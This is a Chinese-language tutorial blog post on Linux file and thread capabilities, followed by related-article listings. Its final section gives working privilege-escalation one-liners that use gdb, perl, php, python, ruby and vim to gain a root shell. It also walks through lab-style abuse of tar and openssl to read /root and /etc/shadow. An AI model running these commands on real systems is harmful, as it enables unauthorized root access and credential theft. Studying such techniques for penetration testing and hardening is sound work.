Linux提权之:利用capabilities提权

1 背景

我们运行SUID的命令时,通常只是需要使用一小部分特权,但是使用SUID,却可以拥有root用户的全部权限。所以,一旦SUID的文件存在漏洞,便可能被利用,以root身份执行其他操作。

SUID的问题,主要在于权限控制太粗糙。为了对root身份进行更加精细的控制,Linux增加了另一种机制,即capabilities。

2 Capabilities机制

Capabilities机制,是在Linux内核2.2之后引入的。它将root用户的权限细分为不同的领域,可以分别启用或禁用。从而,在实际进行特权操作时,如果euid不是root,便会检查是否具有该特权操作所对应的capabilities,并以此为依据,决定是否可以执行特权操作。

例如,下表列出了一些常见的特权操作及其对应的capability:

改变文件的所属者(chown()) CAP_CHOWN
向进程发送信号(kill(), signal()) CAP_KILL
改变进程的uid(setuid(), setreuid(), setresuid()等) CAP_SETUID
trace进程(ptrace()) CAP_SYS_PTRACE
设置系统时间(settimeofday(), stime()等) CAP_SYS_TIME

Capabilities是细分到线程的,即每个线程可以有自己的capabilities。而完整的capabilities实现,除了对线程的capabilities具有以下相关功能:

  • 进行特权操作时,检查该线程是否拥有该操作的capability
  • 提供系统调用,用于获取或修改线程的capability

还应该包含对于文件的capabilities的支持,即:

  • 文件系统支持文件附加属性,使得可执行文件具有一定的capabilities,从而在运行时确定其capabilities

  • 文件cap_setuid的capabilities和文件的suid标志位之间是没有关系的:
  • 设置了cap_setuid的capability的文件并没有设置suid。
  • 设置了suid的程序也不拥有cap_setuid的capability。

对于文件capabilities的支持,直到内核2.6.24之后才完成。

3 线程与文件的capabilities

3.1 线程的capabilities

每一个线程,具有3个capabilities的集合,每个集合中,可以包含零个或多个capabilities。

  • Permitted

    这个集合定义了线程所能够拥有的特权的上限。换句话说,如果某个capability不在Permitted集合中,那么该线程便不能进行这个capability所对应的特权操作。Permitted集合是Inheritable和Effective集合的的超集。

  • Inheritable

    • 当执行exec()系运行其他命令时,能够被新命令继承的capabilities,被包含在Inheritable集合中。
  • Effective

    • 内核检查该线程是否可以进行特权操作时,检查的对象便是Effective集合。如之前所说,Permitted集合定义了上限。线程可以删除Effective集合中的某capability,随后在需要时,再从Permitted集合中恢复该capability,以此达到临时禁用capability的功能。

(Linux 4.3之后,增加了一种集合Ambient。详情可见相关manual)


3.2 文件的capabilities

文件的capabilities,是保存在文件的扩展属性中。修改这些扩展属性,需要具有CAP_SETFCAP的capability。文件与线程的capabilities,共同决定了通过exec运行该文件后的capabilities。

文件的capabilities功能,需要文件系统的支持。如果文件系统使用了nosuid选项进行挂载,那么文件的capabilities将被忽略。

类似于线程的capabilities,文件的capabilities也包含了3个集合:

  • Permitted

    • 这个集合中包含的capabilities,在文件被执行时,被加入其Permitted集合。
  • Inheritable
    • 这个集合与线程的Inheritable集合的交集,是执行完exec后实际继承的capabilities。
  • Effective
    • 这仅仅是一个bit。如果设置开启,那么在运行exec后,Permitted集合中新增的capabilities会自动出现在Effective集合中;否则不会出现在Effective集合中。对于一些旧的可执行文件,由于其不会调用capabilities相关函数设置自身的Effective集合,所以可以将该可执行文件的Effective bit开启,从而将Permitted集合中的capabilities自动添加到Effective集合中。

3.3 运行exec后capabilities的变化

上面介绍了线程和文件的capabilities,可能会觉得有些抽象难懂。下面将使用具体的计算公式,来说明执行exec后capabilities是如何确定的。

我们使用P代表执行exec前的capabilities,P’代表执行exec后的capabilities,F代表exec执行的文件的capabilities。那么:

P’(Permitted) = (P(Inheritable) & F(Inheritable)) | (F(Permitted) & cap_bset)

P’(Effective) = F(Effective) ? P’(Permitted) : 0

P’(Inheritable) = P(Inheritable)

其中的cap_bset是capability bounding set。通过与文件的Permitted集合计算交集,可进一步限制某些capabilities的获取,从而降低了风险。

而正如介绍文件的Effective bit时所说,文件可以将其Effective bit关闭。由此,在通过exec执行该文件后,实际的Effective集合为空集。随后,在需要进行特权操作时,可再将Permitted集合中的capabilities加入Effective集合中。

4 Linux Capabilities管理

4.1 Linux系统管理Capabilities的工具

Linux系统中主要提供了两种工具来管理capabilities:libcap和libcap-ng。

  • libcap提供了getcap和setcap两个命令来分别查看和设置文件的capabilities,同时还提供了capsh来查看当前shell进程的capabilities。
  • libcap-ng更易于使用,使用同一个命令filecap来查看和设置capabilities。

4.2 获取capabilities

系统调用capget(2)capset(2),可被用于获取和设置线程自身的capabilities。此外,也可以使用libcap中提供的接口cap_get_proc(3)cap_set_proc(3)。当然,Permitted集合默认是不能增加新的capabilities的,除非CAP_SETPCAP在Effective集合中。

  • 查看线程的capabilities

    • 使用包libcap中的命令getpcaps <PID>

      还可以通过/proc/<PID>/task/<TID>/status文件,三种集合分别对应于CapPrm, CapInh和CapEff。但这种的显示结果是数值,不适合人类阅读。

  • 查看和设置文件的capabilities

    • 类似的,如果要,可以使用命令getcap或者setcap

4.3 设置capabilities

以wireshark为例

  1. 安装wireshark软件后,默认情况下,普通用户无法对网卡实施抓包操作。这是因为普通用户不具备相应的权限。

  2. /usr/bin/dumpcap文件授予抓包相关的capabilities

    ┌──(kali㉿kali)-[~]
    └─$ sudo -i
    ┌──(rootkali)-[~]
    └─# getcap /usr/bin/dumpcap
    ┌──(rootkali)-[~]
    └─# setcap cap_net_raw,cap_net_admin=eip /usr/bin/dumpcap
    ┌──(rootkali)-[~]
    └─# getcap /usr/bin/dumpcap
    /usr/bin/dumpcap cap_net_admin,cap_net_raw=eip
  3. 命令执行后重新启动wireshark,就可以抓包了。

  4. 删除文件的capabilities

    setcap -r /usr/bin/dumpcap

ping为例

使用getcap命令,我们可以看到ping文件的capabilities:

# getcap /bin/ping
/bin/ping = cap_net_raw+ep
  • 即该文件的capabilities,设置了Effective bit,而且Permitted集合中包含了CAP_NEW_RAW,从而可以发送raw packet。

5 利用Capability实现权限提升

5.1 查找设置了capabilities可执行文件

getcap -r / 2>/dev/null

5.2 gdb

gdb -nx -ex 'python import os; os.setuid(0)' -ex '!sh' -ex quit

5.3 perl

perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'

5.4 php

php -r "posix_setuid(0); system('/bin/sh');"

5.5 python

python -c 'import os; os.setuid(0); os.system("/bin/sh")'

5.6 ruby

ruby -e 'Process::Sys.setuid(0); exec "/bin/sh"'

5.7 rvim

rvim -c ':py import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'

5.8 vim

vim -c ':py import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'

5.9 tar

  1. tar权限

    norris@sirrom:~$ /sbin/getcap -r / 2>/dev/null
    /usr/bin/tar = cap_dac_read_search+ep
    • cap_dac_read_search可以绕过文件的读权限检查以及目录的读/执行权限的检查,利用此特性我们可以读取系统中的敏感信息。
  2. 绕过权限检查即可成功创建压缩文件

    norris@sirrom:~$ tar -vcf root.tar /root
    tar: Removing leading `/' from member names
    /root/
    /root/root.txt
    /root/.bashrc
    /root/.gnupg/
    /root/.gnupg/private-keys-v1.d/
    /root/.bash_history
    /root/.cache/
    /root/.local/
    /root/.local/share/
    /root/.local/share/nano/
    /root/.profile
  3. 解压缩

    norris@sirrom:~$ ls -la root.tar
    -rw-r--r-- 1 norris norris 10240 Mar 19 08:44 root.tar
    norris@sirrom:~$ tar -xf root.tar
    norris@sirrom:~$ ls -la /root
    total 36
    drwx------ 5 norris norris 4096 Oct 11 2019 .
    drwxr-xr-x 6 norris norris 4096 Mar 19 08:45 ..
    -r-------- 1 norris norris 672 Oct 11 2019 .bash_history
    -rw-r--r-- 1 norris norris 570 Jan 31 2010 .bashrc
    drwx------ 2 norris norris 4096 Oct 11 2019 .cache
    drwx------ 3 norris norris 4096 Oct 11 2019 .gnupg
    drwxr-xr-x 3 norris norris 4096 Oct 11 2019 .local
    -rw-r--r-- 1 norris norris 148 Aug 17 2015 .profile
    -rw------- 1 norris norris 33 Oct 11 2019 root.txt
  4. 读取root.txt文件

    norris@sirrom:~$ cat /root/root.txt
    8fc9376d961670ca10be270d52eda423

5.10 openssl

使用openssl读取/etc/shadow文件。

setcap =ep /usr/bin/openssl

# 使用openssl生成证书
┌──(kali㉿kali)-[/]
└─$ openssl req -x509 -newkey rsa:2048 -keyout /tmp/key.pem -out /tmp/cert.pem -days 365 -nodes # 进入系统根目录下
┌──(kali㉿kali)-[/]
└─$ cd / # 启动web服务器,监听8080端口
┌──(kali㉿kali)-[/]
└─$ openssl s_server -key /tmp/key.pem -cert /tmp/cert.pem -port 8080 -HTTP # 访问本机的web服务,读取/etc/shadow文件
┌──(kali㉿kali)-[~]
└─$ curl --http0.9 -k "https://127.0.0.1:8080/etc/shadow"
root:!:18681:0:99999:7:::
daemon:*:18681:0:99999:7:::
bin:*:18681:0:99999:7:::
sys:*:18681:0:99999:7:::
sync:*:18681:0:99999:7:::

2 参考链接

Linux的capabilities机制 - 记事本 (rk700.github.io)

c linux 获取cpuid_Linux系统利用可执行文件的Capability实现权限提升_Ningling Pan的博客-CSDN博客

Linux提权之:利用capabilities提权的更多相关文章

  1. 小白日记24:kali渗透测试之提权(四)--利用漏洞提权

    利用漏洞提权实例 前提:已渗透进一个XP或2003系统 一.实验目标漏洞:Ms11-080 补丁:Kb2592799 漏洞信息:https://technet.microsoft.com/librar ...

  2. Linux提权之利用 /etc/passwd 文件

    当我们获得了某个Linux服务器的低权限之后,我们想要对该低权限账号进行提权,以执行更多的操作. 接下来我们的提权是利用 /etc/passwd 文件的可写入权限,导致我们写入一个其他用户进去. 首先 ...

  3. 利用phpMyAdmin提权

    利用phpMyAdmin提权 发表于 2016-03-31   |   分类于 phpMyAdmin  |   暂无评论  |   9次阅读 爆路径 /phpmyadmin/libraries/lec ...

  4. Linux的desktop文件正常编写赋权,仍无法打开解决办法

    Linux的desktop文件正常编写赋权,仍无法打开解决办法 如果你像我一样遇到了这个问题, 明明都没有问题, desktop文件不显示图标, 双击打开是文本编辑器, 同时也有执行权限 打开却是这样 ...

  5. Linux堆溢出漏洞利用之unlink

    Linux堆溢出漏洞利用之unlink 作者:走位@阿里聚安全 0 前言 之前我们深入了解了glibc malloc的运行机制(文章链接请看文末▼),下面就让我们开始真正的堆溢出漏洞利用学习吧.说实话 ...

  6. c/c++ linux epoll系列3 利用epoll_wait设置timeout时间长度

    linux epoll系列3 利用epoll_wait设置timeout时间长度 epoll_wait函数的第四个参数可以设置,epoll_wait函数的等待时间(timeout时间长度). 例子1, ...

  7. c/c++ linux epoll系列2 利用epoll_wait查看是否可以送信

    linux epoll系列2 利用epoll_wait查看是否可以送信 write函数本来是非阻塞函数,但是当缓存区被写满后,再往缓存区里写的时候,就必须等待缓存区再次变成可写,所以这是write就变 ...

  8. HDU 1569 - 方格取数(2) - [最大点权独立集与最小点权覆盖集]

    嗯,这是关于最大点权独立集与最小点权覆盖集的姿势,很简单对吧,然后开始看题. 题目链接:http://acm.hdu.edu.cn/showproblem.php?pid=1569 Time Limi ...

  9. poj3565 Ants km算法求最小权完美匹配,浮点权值

    /** 题目:poj3565 Ants km算法求最小权完美匹配,浮点权值. 链接:http://poj.org/problem?id=3565 题意:给定n个白点的二维坐标,n个黑点的二维坐标. 求 ...

  10. Linux利用udev提权

    友老催我写个webshell+udev localroot的文章.这周末有点空闲时间,捣鼓了一下.公开的udev exploit有两个.一个是kcope写的SHELL版本,一个是jon写的C版本. s ...

随机推荐

  1. 除了 filter 还有什么置灰网站的方式?

    大家都知道,当一些重大事件发生的时候,我们的网站,可能需要置灰,像是这样: 当然,通常而言,全站置灰是非常简单的事情,大部分前端同学都知道,仅仅需要使用一行 CSS,就能实现全站置灰的方式. 像是这样 ...

  2. 通过Shell脚本自动安装Hive&JDBC测试&提供CDH5网盘地址

    〇.参考地址 1.Linux下编写脚本自动安装hive https://blog.csdn.net/weixin_44911081/article/details/121227024?ops_requ ...

  3. 【基于OpenAI的ChatGPT】搭建属于自己的微信聊天机器人(附带注册英国手机号码方式)

    前言:这几天 OpenAI的聊天机器人很火,前两天也爆发了很多关于ChatGPT接入微信的文章.我就顺便[借用别人已有的项目],来部署一个属于自己的微信聊天机器人.项目地址见下文. 1.首先需要有一个 ...

  4. 前端(js部分讲解)

    BOM操作 BOM概念 BOM:Browser Object Model 是浏览器对象模型,浏览器对象模型提供了独立与内容的.可以与浏览器窗口进行互动的对象结构,BOM由多个对象构成,其中代表浏览器窗 ...

  5. [数据结构]单向链表及其基本操作(C语言)

    单向链表 什么是单向链表 链表是一种物理储存单元上非连续.非顺序的储存结构.它由一系列结点(链表中每一个元素称为结点)组成,结点可动态生成.每个结点包括两个部分:一个是存储数据元素的数据域,另一个是存 ...

  6. Python实验报告(第6章)

    实验6:函数 一.实验目的和要求 1.掌握函数的创建和调用: 2.了解不同的参数如何进行传递: 3.了解返回值的应用: 4.学习变量的作用域: 5.学习匿名函数(lambda). 二.实验环境 软件版 ...

  7. CVE-2020-1957

    漏洞名称 Apache Shiro 认证绕过漏洞 CVE-2020-1957 利用条件 Apache Shiro < 1.5.1 漏洞原理 Apache Shiro 是一款开源安全框架,提供身份 ...

  8. python之路28 网络编程基础之OSI七层协议模型

    OSI七层协议 """ 七层模型,亦称OSI(Open System Interconnection).参考模型是国际标准化组织(ISO)制定的一个用于计算机或通信系统间 ...

  9. Git Rebase和Merge的用法

    title: Git Rebase和Merge的用法 categories: 后端 tags: - Git Rebase和Merge是什么? merge和rebase的作用都是合并两个分支,其区别在于 ...

  10. P5934 [清华集训2012]最小生成树

    简要题意 给你一个 \(N\) 个点,\(M\) 条边的 无向连通 带权图.给定一条边 \((u,v,L)\),请问需要在原图中删除多少条边,使得将 \((u,v,L)\) 插入图后,它既可能在最小生 ...